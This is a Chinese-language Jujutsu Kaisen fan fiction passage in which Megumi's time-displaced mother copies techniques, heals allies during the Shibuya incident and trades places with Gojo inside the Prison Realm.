我撇过脸去，“惠，我要说了对你负担会很重。”
“拜托，我想要知道。”他垂下头，眼神黯然，像极了初见时的甚尔。
想到甚尔我的心就一痛，这个世界没有甚尔了。
28.误入涩谷（四）
“这是千年诅咒师的布局，那个人叫羂索，他的能力是可以占据别人尸体获取身体情报和记忆。”
“他和许多古代术师达成了协议，愿意死后被他做成咒物，后世以咒物降临方式存在。”
“你的姐姐昏迷不醒是因为吞食了咒物，一旦羂索得到了真人的术式，就可以用无为转变让天元结界内有术式无术师大脑的人变成术师，还有你姐姐这样被选中做容器的人体内古代术师也会苏醒。”
我担忧道：“若是你的姐姐醒过来，你千万不要相信她，想要救她就去找天使来栖华，她的术式是净化，可以净化你姐姐体内的咒物，让她的灵魂回来。”
惠抿了抿嘴，“你到底是谁？为什么会知道这么多？”
“我……”我是一个不负责的母亲，生下他后不久就抛下了他。
我有何脸面说自己是他的妈妈？
“我复制到了预言的术式。”我只能这样告诉他。
伏魔御厨子领域还未散去，我看到两面宿傩站在领域中心很明显是打定主意堵我们。
之前那个被魔虚罗踹成重伤的诅咒师醒来，看到两面宿傩赶紧跪地求饶恕。
两面宿傩没有理会他，诅咒师欢喜逃过一劫，结果跑错了方向跑到领域中心了，走着走着头没了。
我赶紧闭上眼，心里有呕吐的冲动。
果然我还是不习惯这种打斗番。
我和惠现在藏在影子里，惠有想要冲出去的冲动，被我强行按住。
“等！”
“等什么？”
“等虎杖悠仁换回来，两面宿傩没有吞够足够多的手指，压制不了虎杖悠仁太久。”
“虎杖要去哪里？”惠盯着两面宿傩版的虎子双手插兜离去。
我看着远处的废墟，再看看黑暗的周围，世界末日怕也就这样了。
突然虎杖悠仁离开了领域，我拉着惠在影子之中转移。
领域突然消失，我们两跟着从影子里钻出来就看见虎杖悠仁一脸痛苦地跪倒在地。
“我该死！”
“虎杖！”惠打断他。
虎杖悠仁一下子愣在原地，抹了一把眼泪，“伏黑，你没事？”
“我被救下了，你没事吧？”
虎杖悠仁看向我，“姐姐，谢谢你。”
哎哟，这小嘴可真甜。
我没看见胀相这个弟控，“胀相呢？”
“他帮我拦住了真人。”
说着转身要往地铁站跑，“老师，我要去救老师！”
“你去了也没用，他已经被狱门疆封印，破解狱门疆封印的两样咒具天逆鉾和黑绳都被五条悟给破坏了，你们去了也救不了他。”
惠将虎杖悠仁拉到一旁去，“她有预言术式。”
虎杖悠仁颓废道：“老师！”
我看了看两小，“狱门疆还在地铁站的地下五层，他们暂时拿不走，我们先杀真人，其他人可以放一放，真人必死！”
虎杖悠仁握紧了拳头，牙咬得咯吱响，“没错，先杀真人！”
……
地铁站内，野蔷薇和真人已经战斗到了一起。
我们赶到得很及时，只是真人太过鸡贼，看到我们迅速给了野蔷薇一下，然后就哈哈笑着跑了。
我看向虎杖悠仁，“野蔷薇我来照顾，你知道的我会也无为转变。”
他松了口气追了上去，惠不放心也跟了上去。
这是那位叫新田的金发女孩跑过来，“我可以锁定住她的伤势，不一定能保证她活下来。”
我让她先用术式，然后按住了野蔷薇的眼睛发动无为转变。
术师抵抗能力明显比普通人强很多，被无为转变改造过的人再改回去灵魂上还留着累累伤痕。
但是也蔷薇不一样，帮她改回来，她的灵魂强度明显要高一点。
我看着她脸上的伤口，已经好了，只是还未清醒过来。
“我只能做到这里了。”
新田已经搀扶起了野蔷薇，“我带她去外面，夜蛾校长和家入小姐在帐外面守着。”
我看她扶得费力，干脆召唤出影子，影子分裂三个，分别抱起一个，“麻烦指路。”
新田指着前面道：“出去直走。”
帐已经可以自由出入，我看到了守在帐外面的夜蛾正道和家入硝子。
话说这还是我第一次见到两人。
夜蛾正道简直比极道还要极道。
本来看见我们，他还有些警惕。
新田帮忙解释。
家入硝子下楼去治疗野蔷薇。
夜蛾正道看向我，一脸严肃道：“我听说过你，冥冥说你是夏油杰的姐姐，我从未听他说起过你。”
影子抱着我上了楼梯，我下来靠在栏杆上。
“我和他是同母异父，一共也就见过两次，都是在他年幼的时候。”
说完我脸色严肃起来，“夜蛾校长，占据夏油杰身体的是千年前的古代术师，他的目的是让全人类进化，在得到杰的术师后他可以调伏天元，恐怕你们不知道，十多年前天元没有和星浆体融合，已经向咒灵转变。”
“他现在的目的是真人，得到真人的术式，他可以通过天元结界发动无为转变，这些年他标记了不少人，这些人都是有术式没有术师大脑的人，还有像惠姐姐被迫吞下咒物昏迷不醒的人。”
“一旦让他得逞，这些人会成为古代术师的容器！”
夜蛾正道神情凝重。
家入硝子这时走了上来。
我冲她伸出手，“可以也给我治疗一下吗？”
家入硝子不解，“你没有受伤。”
“我的术式是复制，你在我身上施展后，我能够复制，我手中还有不少伤患，若只有你一个应该忙不过来。”
她在我身上运转了反转术式。
反转术式有点难，我知道原理，却没有费那个脑子去琢磨，不就是这边有个现成的吗？
察觉多了个术式，我伸手，面前多了一大团黑影，黑影扩大到两米，被大火烧得面目全非的七海建人浮了上来。
黑影消失，家入硝子赶紧蹲在七海建人身边。
我拿到反转术式就跟拿到新玩具一样想要使用，反转术式跟无为转变不一样，一个只能治疗身体上的创伤。
一个可以利用灵魂来治愈伤势。
无为转变虽好，但根据力量守恒制，得到什么要缺失什么。
就跟机械丸一样，身体痊愈，天与咒缚的能力消失。
反转术式使用代价要小不少。
想了想，我将真希给放了出来，真希是不完全版的天与咒缚，她的体质要强不少，哪怕烧伤严重，心跳还强劲。
我手放在她身上，然
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后运转反转术式。
我能够清晰地感受到我的咒力耗费量翻倍，一股正向能量进入真希体内。
我还看到了那一点咒力源，就藏在心脏位置，应该是在母体肚子里和她妹妹交换来的。
真希睁开眼，一眼看到了夜蛾正道和拿着烟的家入硝子。
家入硝子吸了一口，“欢迎回来。”
一旁的七海建人因失血太多半躺在地上，只是还有一些伤疤未能愈合。
他挣扎着要起身，一副要重新进入帐内的架势。
“改造人都被我收起来了，虎杖你也不用担心，有惠跟着。”
“惠调伏了魔虚罗，能保护其他人。”
我看了看周围和平场景，皱了皱眉问，“这边怕是不安全了，可以通知政府先让这边的普通人退散吗？”
“假夏油手中有数不清的咒灵，他是打定主意让全世界都知道咒灵的存在，一旦那些咒灵全部放出来，周围的人怕是都活不了。”
夜蛾正道立刻打了个电话，然而更加噩耗的消息传来。
总监部根本不理会他，还以他是五条悟和夏油杰同党为由判处他死刑。
电话是扩音，在场人都听见了。
“真是令人火大啊！”真希一脸阴沉道。
“他们不就是看悟被封印，才想趁机干掉夜蛾校长吗？”
“要我说将乙骨忧太叫回来，先下手为强将总监部那群混蛋先干掉！”
我鼓掌，“说得没错。”
我冲她伸出手，“干掉他们真希你自己就能做到，你愿意舍弃咒力，变成完整的天与咒缚吗？”
真希一脸莫名其妙，“你在说什么？”
“甚尔。”我沉默了一下，心脏被刺痛，“就是抢走你游云的那个人，他是完全体天与咒缚，你想成为他吗？”
“你和你妹妹是双生子，双生子在咒术界是禁忌，你们未出生前，你的全部咒力都用来换取体质的增强，是你的妹妹将自己的咒力分给了你一点。”
“因为这点咒力，你的天与咒缚不再是完全体，你的妹妹也因为失去一部分咒力没办法变强。”
真希愣住，“你为什么知道这么多？”
我弯了弯眼睛，“我有复制术式，曾经复制到了预言的能力。”
我的谎言越来越流利了。
“啊，跟乙骨忧太一样吗？”
“怎么样，要舍弃吗？我有真人的无为转变，可以从灵魂上切割你和你妹妹的联系。”我忽略了这个问题。
“她会变强吗？”
我们都知道她口中的她是指禅院真依。
我点头，“失去的咒力回去，不用再负担两个人，当然会变强。”
“我愿意。”她迫不及待道。
完整体的天与咒缚有多强？
我的手从真希身上挪开就知道了，那股气势和眼神都不一样了。
“你现在欠缺的是战斗经验，和我的影子交手，它被甚尔调教过，也和两面宿傩战斗过，和它打一场吧。”
影子以肉眼不可见的速度冲向真希。
看着远离这边的打斗场景，我看向夜蛾正道。
“总监部跟假夏油有合作，你不必理他们说什么，当务之急……”
我竖起两根手指，“一是将周围的无辜民众转移，二是将五条悟放出来让他解决烂摊子……”
29.误入涩谷（五）
“我复制的第一个术式跟影子有关，可以将现实和影子世界调转，只要我展开术式可以将人收入影子世界。”
“只是靠我一个人能做到的距离有限。”
我伸直手掌，手心里掉落出一个个圆球。
“这是影子世界的钥匙，使用时丢在地上，说一声开门，会出现一个两米大的黑影，你们找到人后将人送进去，里面的时间是静止的，不用担心出现问题。”
“收回的时候说一声关门，会变回钥匙。”
七海建人站起来晃动了一下身体，“给我一个，我现在去。”
我摇摇头，“你失血太多了。”
提着刀的手晃动了一下手臂，七海建人道：“伤已经好得差不多了，只是失血……”
我打断道：“介意我用反转术式吗？”
家入硝子是收着治疗，主要是保命，她需要留着咒力给其他需要的人。
而我不用，我的咒力随时你能够得到补充。
他沉默一下，走了过来。
我手放在他肩膀上，没一会儿推开。
七海建人握了握拳头，“已经痊愈。”
我转头看向家入硝子，“还可以施展反转术式吗？我这里还有一位伤势比较严重，就剩一口气了。”
七海建人突然抬起头，“是禅院直毘人老前辈？”
“嗯，是他。”
我继续道：“我刚得到反转术式，没法进行更精细的操作，家入小姐，我和你分工合作，精细的部分你来，剩下的外伤我来。”
家入硝子点头，“可以。”
我再看向被影子痛扁又迅速成长的真希，突然对夜蛾正道说：“校长可以将手机借我吗？我想上网翻看医学资料，这边就交给我，我会保护家入小姐。”
夜蛾正道以非常沉稳的声音问，“我可以信任你吗？”
“我们可以立下束缚，我可以保证不会伤害家入小姐。”
家入硝子冲他伸出OK手势，“我没意见。”
夜蛾正道将手机递给我，和七海建人各抓了一把黑球走了。
将禅院直毘人交给家入硝子，我翻开手机上网，诅咒师论坛里关于涩谷这边发生的事情已经闹翻了天。
翻看了一会儿，家入硝子一脸疲惫地松开手。
“他心跳已经快没了。”
我点头，“我要是再晚一步就救不回来他了。”
禅院直毘人浑身焦黑，不过气息逐渐平稳起来，缺失的手臂也止住了血。
“反转术式不是万能，只是在现有的身体上修复，没办法做到断肢重生。”
家入硝子咬着烟回答。
“无为转变可以，只是我怕做不到位。”
若是捏出一个大小手臂就搞笑了。
真人也是玩弄了不少人才熟练无为转变。
“还是先唤醒他吧。”
我用反转术式，大量正能量灌入禅院直毘人身上，他身上的焦黑伤疤开始脱离出现粉嫩的肌肤。
真的有点搞笑，一个七十一岁的老头子不仅光秃秃还皮肤光滑粉嫩。
我翻了翻影子，从里面翻出一件衣服披在老头身上。
“咳咳。”禅院直毘人咳出一滩带着焦黑的血水，睁开眼睛道：“老夫还活着？”
我蹲在禅院直毘人身边，有点担心惠，儿行千里母担忧，哪怕他调伏成功了魔虚罗，我还是很担心。
对于这位老爷子，我心不在焉道：“嗯，你运气好，碰上我了。“
“你是？”禅院直毘人似乎有些惊讶，“你是甚尔的妻子？”
我察觉到一旁家入硝子投来的吃惊眼神。
毕竟她是知道甚尔和惠之间的关系。
“你还活着？”
我抓了抓脸，有点脸热，“出了点意外，被狱门疆送到了这个时候。”
真奇怪，我和这位老爷子应该没见过面才对。
我说了原因，包括我生病被封印进狱门疆，结果没在家入硝子上高专时放出来反而出现在未来。
“本来就差一点成为术师，那个特级咒灵帮我一把，总之还请两位不要告诉惠我的身份，我和甚尔是一对不合格的父母，我不属于这个时代，会找到办法回去。”
家入硝子咬着烟头若有所思，“这样说来你是杰的姐姐，惠又是你的儿子。”
我点头承认，“是，杰是惠的舅舅。”
正说着，真希突然扛着一个人跑过来。
我站起身，影子回到我脚下。
“我发现棘时他手臂已经变成这样。”
我忍不住剧透道：“是两面宿傩的领域，伏魔御厨子，半径两百米之内的人都会受到领域的斩击。”
狗卷棘断了左手臂，倒是和禅院直毘人组成左右残臂双煞。
“他的断臂呢，拿回来了吗？短时间还能接回去。”
真希从桥上跳下去，“我去找！”
我看着疲惫的家入硝子，顺便手放在她肩膀上，运转了术式反转。
“你的咒力……”
“我知道。”不就是有点多吗？
我蹲下手放在狗卷棘身上，灌输了强大的正能量，我没法用更精细的方式来治疗，只能用庞大正能量来弥补，这跟乙骨忧太用反转术式治疗是一个路数。
狗卷棘睁开了眼睛，“腌高菜！”
真希已经狂奔回来，“手臂！”
我接过，然后看向家入硝子，“还可以吗？这种接血管的精细操作我不行，你接好，剩下的我来？”
她的回答是蹲下接手。
我扶住了断臂对准缺口，家入硝子手放在了伤口上，失去血色的断臂接口肉眼可见多了点血色。
她松开手，我接上，庞大正能量将狗卷棘包裹住。
原本痛苦的表情舒缓，他坐起身。
“大芥～”
突然天空中突然大量咒灵，我脸色一变，“不好，假夏油将咒灵全部释放出来了！”
快速将救人一事说了，我掏出释魂刀递给真希，“先为夜蛾校长他们争取时间！”
禅院直毘人笑出声，“让老夫也尽一臂之力！”
看着他们的背影走远，我召唤出了影子，将影子分散。
咒灵对于旁人来说是麻烦，对于我的术式来说是大餐，还是自助大餐。
影子化成数不清的兔子奔向四面八方，遇见咒灵就缠斗，遇见咒灵尸体就拖入影子世界。
家入硝子看着我，我不好意思地摸了摸鼻子，“惠在我肚子里时我就复制了他的术式，只是我没有禅院家的血脉，无法召唤式神，只能复制了式神的本领和影子融合。”
说实话，我都觉得不停给影子刷技能，以后说不定比魔虚罗还要强大。
＊＊＊
另一边还在半信半疑中的七海建人和夜蛾正道看见大量咒灵出现在空中，也跟着变了脸色。
二人都不由回忆起一年前的百鬼夜行。
同样的场景，夏油杰一死，咒灵失控。
这里也是，只是
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跟去年不同，这次是人为操控。
“可恶！”
夜蛾正道砸了一下墙壁。
七海建人一脸严肃道：“一个个上门太浪费时间了，用那招吧。”
他砸向了火灾报警器，又将一个黑球丢在了一楼出口转角处。
“开门！”
没一会儿受到惊吓的普通人慌里慌张跑下楼，也没有看清楚前面是什么，直接跌入影子里。
就这样七海和夜蛾正道使用这种办法将周围几栋楼的报警器弄响。
再看外面街道上有咒灵，他将剩下的黑球全部交给夜蛾正道，“我来拦住咒灵。”
他提着刀快步走过去，“下班时间还要加班，真是不可原谅！”
他步伐变快，然后冲入半空中砍向袭击街上人类的咒灵！
＊＊＊
咒灵太多了，有种漫天遍野一样。
还有不长眼的冲着我们来，狗卷棘走到我们前面，拉开了领口。
“爆炸吧！”
面前上百咒灵炸成了稀有烟花，一个黑影上蹿下跳将咒灵全部吞噬。
我伸手按在不住咳嗽的狗卷棘身上，运转了反转术式。
他惊讶回头，“大芥！”
我笑眯眯道：“我的术式可以吞噬咒灵身体来补充咒力，放心，我的咒力管够。”
很快战斗中心的高专学生也过来清理咒灵。
这次战斗到这里算是进入尾声。
我将影子分散出去，主动伏击咒灵，专门挑选一级以上的杀。
一级以上有自己的术式，被影子杀死再被影子吞噬，可以得到咒灵的术式。
现场这么多咒灵，简直是便宜了我。
突然我一伸手，一个湛蓝的球出现在我手中。
我有些意外，之前一直没有找到可以抽取记忆的术式，在这里竟然得到了。
这是人类恐惧遗忘美好记忆而诞生的咒灵。
我掂量着球然后捏碎，一段已经久远的记忆在我脑海里浮现。
还真是久远，我嗤了一声，竟然是上辈子婴儿时期的记忆。
战斗结束得很快，最后还是利用结界将咒灵控制在一定区域。
可惜留给夜蛾正道和七海建人他们的时间太短，他们只救下来一部分人，还有不少丧生在咒灵口中。
凌晨两点，我吃到了来到这个世界的第一顿饭，一个大门敞开的便利店。
我跟回到自己家一样取走了大部分食物，还拿了两瓶啤酒。
我们坐在临时救治中心，这里不仅有受伤的辅助监督和咒术师还有一群学生们。
几个孩子都有些慌张。
就在不久前他们收到总监部下达的命令，五条悟被视为涩谷事变的主谋之一，夜蛾正道被判死刑，其他试图解救五条悟的都被视为同伴。
同时虎杖悠仁也被判为死刑。
我将酒递给了家入硝子，“喝点吧，还得熬夜。”
家入硝子神情黯然，因为就在一个小时前夜蛾正道不顾他们阻拦，执意要回高专。
其实我知道夜蛾正道是放不下高专后山里养着的那些咒骸。
他若是抗命不从，那些咒骸下场会不太好。
连熊猫都被他带走了。
京都府高专学生已经撤离，东京都高专的学生产生意见分歧。
那边真希的声音传来。
“八嘎，这时候该冲进总监部将那群人渣全杀了！”
“真希别这样，我们再想想办法！”
30.误入涩谷（六）
我有些心疼还饿着肚子的儿子，放下啤酒拿着三明治走过去。
“惠，要吃点吗？”
惠带有距离感地拒绝。
虎杖悠仁抱膝情绪失落坐在一旁。
他还在责怪自己，要不是当初和两面宿傩签订束缚，今日这一切也不会发生。
他无法直视自己的双手，这双手害死了太多人，连狗卷前辈也被伤到。
我看着真希和几个任由她痛骂的少年，想了想道：“我们去高专吧。”
“夜蛾老师应该是放不下他的咒骸，我们先把咒骸救出来，再让夜蛾老师带我们去找天元。”
“天元？”
少年们纷纷看向我。
我歪头道：“你们不知道吗？狱门疆有表和里，里在天元手中，同样能开启放出五条悟！”
这个消息是我从甚尔那里得到。
他去砍天元时，将狱门疆遗落在薨星宫，他说被高专的咒术师发现，没有捞回来。
狱门疆·里一定在天元手中。
“这种事谁会知道啊？”真希吐槽。
虎杖悠仁站起身，握紧拳头道：“去找天元大人救出五条老师！”
“腌鱼子！”
我走到惠的身边，关心的看着他，“没错，去救出五条悟，只要他出来，一切都能迎刃而解！”
惠有点不自在，往旁边走了走。
虎杖悠仁抓了抓头发，“立花姐姐，你跟伏黑是亲戚关系吗？总觉得你们有点像。”
我愣了一下，弯起了嘴角，“是吗？”
我没有回答，而是看了看周围废墟一样的高楼。
“请等我片刻，我和你们一起去高专。”
我快速走到家入硝子身边，“我这边收的人重伤轻伤都有，你这边有什么建议吗？”
家入硝子报了一个医院名，是咒术界自己的医院，没有反转术式前，受伤的咒术师大部分都在这家医院接受治疗。
我点头，“还有一些受到惊吓的普通人，请联系一下政府部门，我得找个地方放下。”
她喊来一个辅助监督，那人掏出电话帮忙联系起来。
很快安置方式送了过来，我看见米花町三字有些无语。
好吧，这地方却是咒灵的禁区，再加上米花町时间混乱特征，这些人放在那里是比较安全，前提是没有惹怒民风淳朴的当地人。
因为手中的人太多，也不好区分，我将在车站收的人放出一批，直接使用反转术式，放、治、收，一气呵成。
＊＊＊
看得少年们非常羡慕。
“这咒力太强了！”
“伏黑，你的玉犬也可以吞噬咒灵补充咒力，能不能做到这个程度？”
伏黑惠的反应是给他们一个冷眼。
他对于这个女人有种抗拒不了的亲切感，只是问了她几次身份，她都不说。
“立花姐姐真厉害，竟然复制了真人的无为转变。”虎杖悠仁再次惊叹。
钉崎有救了，缺少的眼睛也可以重新生出来。
虽然失去了可靠的五条老师，可现在又来了一位立花姐姐，这位姐姐告诉了他们解救夜蛾校长和五条老师的办法。
虎杖悠仁心里有了可以依靠的人。
“伏黑，快看！”他用力拍打伏黑惠的手臂，“那影子的翅膀是不是和你的鵺很像？”
目送立花霁飞远的伏黑惠怔住，他心里起了浓浓的疑惑，她究竟是谁？
＊＊＊
从空中飞就是快，先去了医院，医院门口已经有不少护士推着病床等待。
我将受伤的人放下，之前用反转术式治疗过，保住命是没问题，剩下治疗就交给医院了。
又飞去了米花町。
老远就看见了异常。
无形扭曲的空气，将所有靠近的咒力都吸走。
我没有靠太近，顺着外围看到了许多辆警车，才飞过去。
我没有落地，地面自动出现了影子世界的入口。
如同瀑布一般，不断将里面的人吐出来。
至于改造人我就无能为力了，改造人的咒力被影子世界吸走，失去了身体限制，他们的灵魂就凭空消失在影子世界中。
我怀疑这边二次元是有地府概念的，可惜没见到鬼神。
看着下方有些惊慌的警察们，我没有理会。
全程其实没花多长时间，等我回去，几个孩子手中的三明治还没吃完。
我脚落地，问家入硝子要不要一块回去。
家入硝子手中夹着点燃的烟，“我留在这等你们好消息。”
随后她又提到钉崎野蔷薇。
“钉崎已经无生命危险，已经被辅助监督送往高专的手术室。”
我点头，沉默了一下，将手递给影子，影子捧起我的手，在我发动无为转变的顷刻间斩断了我的手。
“呀！”旁边关注这边的少年小声惊叫。
我忍着疼痛用无为转变把手臂长回来。
尚未遗忘的疼痛依然存在，眼睛告诉我手臂还在，大脑却认为没了，开始释放肾上腺素。
很快疼痛褪去，应该是大脑认同手臂还在撤回了警戒。
我心有余悸。
“乙骨忧太也能够复制术式，我的手臂刻有无为转变术式，若是我有意外请帮我交给他。”
家入硝子沉默许久，最后还是接下了手臂。
“知道当初我被困在高专是伏黑甚尔所为，我很生气。”
我不好意思道：“我很抱歉。”不用说我也知道甚尔是为了我。
她夹着烟的手挥了挥，“算了，都过去了。”
“原谅你们了。”
她提着手臂转身往救护车走去。
我才转头看向少年们，脸上绽放了笑容。
“办完了，走吧。”
＊＊＊
高专结界外，五个身影站在外面。
“不知道学校有没有删掉我们的咒力标记。”虎杖悠仁嘀嘀咕咕。
伏黑惠正要伸手试探，禅院真希拦住了他。
“我来，我现在没有一丝咒力，可以不惊动结界的警报。”
立花霁建议道，“等一下你将珠子放在嘴里含着，天与咒缚的身体可以隔绝咒力，等你进去后再放我们出去，天元结界只有触碰时才会发出警报。”
脚下出现一个一米左右的黑洞，三位少年相视一眼挨个跳进去，立花霁紧跟在后，她一进去黑洞就缩小，然后变成一个玻璃珠大小的黑珠子。
禅院真希捡起塞进嘴里，手往结界一伸，就走了进去。
离结界有一段路后，她才吐出珠子扔在地上。
珠子又变大拉长，四人从黑影中浮出来。
虎杖悠仁小声嘀咕，“伏黑，真的跟你的影法好像。”
影子重新变回珠子，立花霁捡起来。
“我们分工合作，谁去救咒骸？”
狗卷棘举起手，“蛋黄酱。”
“那就交给狗卷同学。”
立花霁看向其他人，“走吧，去找天元。”
禅院真希没有动，她看向了操场方向，操场的后山是总监部，那里灯亮着。
立花霁立刻将释魂刀交给了她。
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“你先去，都是小杂鱼，想杀就杀，你不杀，五条悟出来也要杀。”
“可是……”虎杖悠仁还要阻止，立花霁立刻道：“虎杖也去，杀不了也帮我们牵制，天元那边我和惠过去。”
“我也想去找天元……”
“小心两面宿傩搞鬼……”
虎杖悠仁声音消失，嘴唇动了动，“立花姐姐，一切都拜托你了。”
＊＊＊
我拉着惠往薨星宫方向走，薨星宫什么样子动漫里都有记载，唯一麻烦的是天元不愿意见我们，会改变薨星宫的位置。
顺利进入地下通道，我就知道天元是愿意见我们的。
毕竟现在情况都已经很明了，羂索下一个目标肯定是天元了，谁让它没有跟星浆体融合，已经咒灵化了。
进入薨星宫，我和惠见到了六只眼的天元。
可真是丑，明明本身是大美女来着。
“我已经知道你们的目的，是来找狱门疆里对不对？狱门疆里确实在我手中。”
我不客气伸手，“既然知道了那就交出来吧。”
“你们拿到也没有办法，能解封狱门疆两样咒具都被五条悟亲手所毁，除非你们找到古代天使来栖华。”
我察觉到惠投递过来的目光。
“你交出来，能不能放出五条悟不是你该操心的。”
“交给你们也不是不可以，我需要你们其中一人留下来护卫我。”
它说了羂索的来历和目的，这个我早知道了，我没有打断，惠知道了能够传递给其他人。
我之前是提过杰身体被古代术师占了，却没有详细说。
之前在涩谷车站被禁言的经历记忆犹新，我后知后觉发现这还真不怪别人，是我给自己下的束缚，用记忆换力量时记忆中羂索含量极高，他自然成为违禁词。
我是尽量不提起，以假夏油替代。
“我留下。”
一阵脚步声传来，我们回头就看见九十九由基走了过来。
“其实没有必要。”我叹了口气对九十九由基道：“你打不过羂索。”
“羂索的术式是占据身体时获得身体情报和术式，作为束缚他额头上的伤疤无法隐藏。”
“他在大正时期曾经占过家茂宪伦的身体，弄出了九相图。”
我说的这些惠和九十九由基已经知道。
“我说这些是羂索通过一定秘术能够使用其他身体的术式。”
我看向天元，“没用的，九十九由基保护不了你，要不你等着羂索来吞你，要不你把狱门疆交给我们，先放五条悟出来。”
“当然你也不必担心，就算被吞下，也会保留一定意识，等杰的身体再次被销毁，你还会恢复自由。”
九十九由基若有所思，“竟然能够使用其他身体的术式，若是我没有防备，还真会中招。”
天元已经无语，还是不死心道：“变成咒灵的术式可以被咒灵操术抽走。”
我摆手，“夏油杰要的是天元结界的控制权，他只是想开启他的死灭洄游游戏。”
“你的术式是不死，他抽取这个干什么？一旦抽取，依靠你存在的结界可就消失了。”
说到这我若有所思，结界消失好像是好事。
千年前平安京时期需要天元结界是为了抵御妖怪和咒灵，现在是末法时代，天元结界反而成为了制约。
只要天元结界在，结界内的诞生的咒力就一直累积生成咒灵，无法像海外其他国家一样，咒灵少得可怜不说，还弱得不成样子。
本该保护人类的天元结界，变成了困住新时代的制约。
31.误入涩谷（完）
“相信我啦。”我回过神来挥手。
我指着自己的鼻子，笑呵呵道：“我可是有预言术式！”
天元无法看透人心，我可是说了几次预言术式，它还能怀疑不成。
正是因为知道天元眼睛无处不在，我才没有透露太多。
这里我能信任的只有五条悟。
天元陷入沉默，或许是意识到自己大概是逃不掉了。
＊＊＊
最后结果就是九十九由基留在了薨星宫，立花霁和伏黑惠拿着狱门疆里出来。
等走出地道时，天际已经有了点亮光。
禅院真希和狗卷棘还有虎杖悠仁都等在外面，狗卷棘将黑珠子交给立花霁。
立花霁捏了捏，往里面输入了点咒力，转手给了伏黑惠。
她目光温柔，这是她的孩子，她和甚尔的孩子。
“惠，放入影子里。”
伏黑惠沉默地接过去，做了个手势，脚下出现了一串影子，珠子没入影子，他感觉到影子里多了不少咒骸。
同时还有一股同源的庞大咒力，他猛然一抬头。
为什么他的影法会这么轻易容纳了她的咒力？
她到底是谁？
立花霁看了看周围，笑笑，来得还很齐。
“夜蛾校长在校长室，不希望我们救他。熊猫学长被关了起来。”虎杖悠仁求救目光看过来。
立花霁微笑，“没关系，只要五条悟出来，没人能动他老师。”
虎杖悠仁看着狱门疆，声音有点闷，“老师被关在这里吗？”
伏黑惠帮着转达了天元的话。
“哈？！两把钥匙都被他毁掉了，他是八嘎吗？！”真希无法置信的声音响起。
虎杖悠仁脸上多出一张嘴，龇牙后笑道：“这可真是一出好戏。”
啪！
是虎杖悠仁用力打在脸上的声音。
脸快速肿了起来，可见力道之大，虎杖悠仁一点也不在意，“那要去找天使来栖华吗？”
伏黑惠握紧了拳头，“要找！”
他还记得立花霁之前说的那些话，他的姐姐伏黑津美纪成为古代术师的受肉，想要救回她，只能找天使净化。
立花霁贪婪地注视着伏黑惠，“不用，我有办法换五条悟出来。”
“惠，可以让我抱抱吗？”
听到这个请求，伏黑惠愣住，立花霁已经抱住了他。
本来要推开她的伏黑惠一下子愣住，他感觉到肩膀的湿热。
她在哭，为什么哭？
她到底是谁？
“你……是谁？”伏黑惠终于问出了这句话。
“惠，你的爸爸妈妈很爱你，你的名字惠不是随便取的，你对于他们来说是上天赐予的恩惠，出生前就定下的名字。”
“原来伏黑名字是这么来的吗？立花姐姐，预言术式还能知道过去吗？”虎杖悠仁粗神经问道。
禅院真希狠狠给他后脑勺一下，“闭嘴呀，你这个笨蛋！”
“鲑鱼。”
“你是谁？”
“那个男人又是谁？”
立花霁松开了他，依依不舍地退后，她没有回答，到了最后，她还是不忍心说出来。
既然这孩子已经认定母亲死去，她又何必说出来让他再难过一回？
“狱门疆有一个限制，那就是一次只能封印一个人，只要多一个人，里面的人会被踢出来。”
立花霁深吸一口气，露出了灿烂笑容，“我就是从狱门疆出来的那个，只要我进去，五条悟就会被踢出来。”
＊＊＊
我握着狱门疆发动了术式。
曾经我复制了狱门疆的术式，没想到会用在这里。
我发动术式后，被狱门疆认为是自己一部分，我硬是凭借这一点硬挤了进去。
进去后，我又发动了术式，一团湛蓝的珠子出现在我手中。
狱门疆察觉关了两个人，五条悟被挤出去，在和他身影交错时，我将珠子砸到他的无下限上，珠子破碎里面的信息被六眼获取。
我看见了他惊愕的眼神，有些莞尔。
可真是不得了，当年那个目下无人的神子也有惊愕的时候？
＊＊＊
某处深海沟，一个身影如同轰炸一般从海里冲出来，站在了高空中。
五条悟思绪还沉浸在收集到的信息中。
“真是……”
片刻后，他无机质的六眼看向东京方向。
“摧毁少年的羁绊很可恶，若一切只是设定，杰，你的人生，我们的人生都显得很可笑。”
他出现在了京都上空。
天边亮起鱼肚白，他降入东京都高专总监部，被禅院真希暴打一顿的高专上层正在发火。
突然看见五条悟，所有人都很吃惊。
“五条悟？！”
“你被放出来了？”
开玩笑，总共封印不到十二个小时，这叫什么封印？封印了个寂寞吗？
“杰，那个夏天太长了，是我们太年轻了，我以为你会追上来……”
结果却是挚友的叛逃。
他终于知道杰身上发生了什么，有心之人的算计，这些上层有意无意的推波助澜……
六块屏风被鲜血溅满，方才还在叫嚣的人已经变成尸体。
五条悟愿意守规则是接过了挚友的正论，当他不打算守时，他是咒术界最强。
走出山梯，五条悟看到了一众飞扑过来的学生。
“辛苦你了，悠仁。”
虎杖悠仁眼泪落下，“五条老师，都怪我，钉崎，她……”
五条悟一把钳住他脖子，“没事的，钉崎会好起来的。”
他声音带着轻快，“因为我是最强！”
“八嘎！”禅院真希大声痛骂，“你这个家伙竟然将解封狱门疆的两个咒具都毁了，害得立花姐姐……”
五条悟伸手揉了揉她的头，“我已经知道全部了。”
伏黑惠和狗卷棘最后走过来。
“嗨，惠～”
五条悟像是突然想起什么，从怀中掏出了一张照片。
照片上一对年轻夫妻微笑着抱着一个婴儿。
“怎么说呢，感觉惠应该会需要。”
话说在狱门疆里捡到一张照片他也很意外。
现在看来说不定是一份惊喜。
伏黑惠接过，只看了一眼就愣住。
其他人围了过去。
“是立花姐姐！这个男人？是那个打了猪野前辈的男人！”
“他和立花姐姐都有孩子了？真难以置信。”
这是震惊脸的虎杖悠仁。
“鲑鱼子。”
“狗卷学长也认同吗？”
“笨蛋，这个男人是禅院甚尔，禅院家上一任天与咒缚，不过很早之前就叛逃了，我在禅院家没有见
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过他。”
在陀艮领域里跟男人短暂搏斗过的禅院真希说道。
很久之前的记忆在伏黑惠脑海里浮现，他记得那个男人名字。
甚尔。
“不，他是伏黑甚尔。”
“伏黑？”
这个姓氏……
所有人目光都放在了伏黑惠身上，伏黑惠盯着照片里的女人，意识到了什么。
“我上幼稚园时，他和津美纪的妈妈结婚，带着我入赘伏黑家。”
“我的妈妈很早不在了，那个男人说她失踪了，有人告诉我她死了，只是那个男人不愿意相信。”
虎杖悠仁理清了两者关系，猛然回头，“五条老师，立花姐姐是伏黑的妈妈吗？”
